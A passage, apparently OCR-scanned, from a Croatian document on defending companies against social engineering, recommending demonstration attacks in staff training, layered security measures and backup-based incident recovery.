i upoznavanjem uobicajenih aktualnih tehnika socijalnog inZenjerstva
minimizira se rizik da se obmani neki od zaposlenika tvrtke. Naravno, klasi¢ne
edukacije na kojima se odrzavaju prezentacije nemaju efekt kao demonstracija
zaposlenicima Sto se sve moZe dogoditi zbog krSenja sigurnosnog pravila. Iz tog
razloga korisno je demonstrirati neki napad koji ¢e ozbiljnije educirati i
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upozoriti zaposlenike na cinjenicu koliko je u stvari napadacu jednostavno
prevariti osobu s druge strane i natjerati ga da osvijesti i promijeni svoje rizi¢no
ponasanje.

e Sigurnost na viSe razina i spremnost na oporavak nakon napada.
Sigurnosne mjere moraju postojati na viSe razina (npr. ne smije biti moguce da,
ako zaposlenik priklju¢i USB stick, njegovo racunalo ima ovlasti za zaraziti
cijelu mrezu) i mora postojati definiran plan oporavka nakon incidenta.
Naravno, u tome klju¢nu ulogu igraju pricuvne kopije (engl. backup) i brza
reakcija sigurnosnih stru¢njaka unutar tvrtke koji trebaju sprijeciti daljnje
Sirenje zaraze i pokusati otkriti uzrok napada kako bi uspjeli zakrpati sustav na
nacin da takav napad viSe ne bude moguce izvesti.
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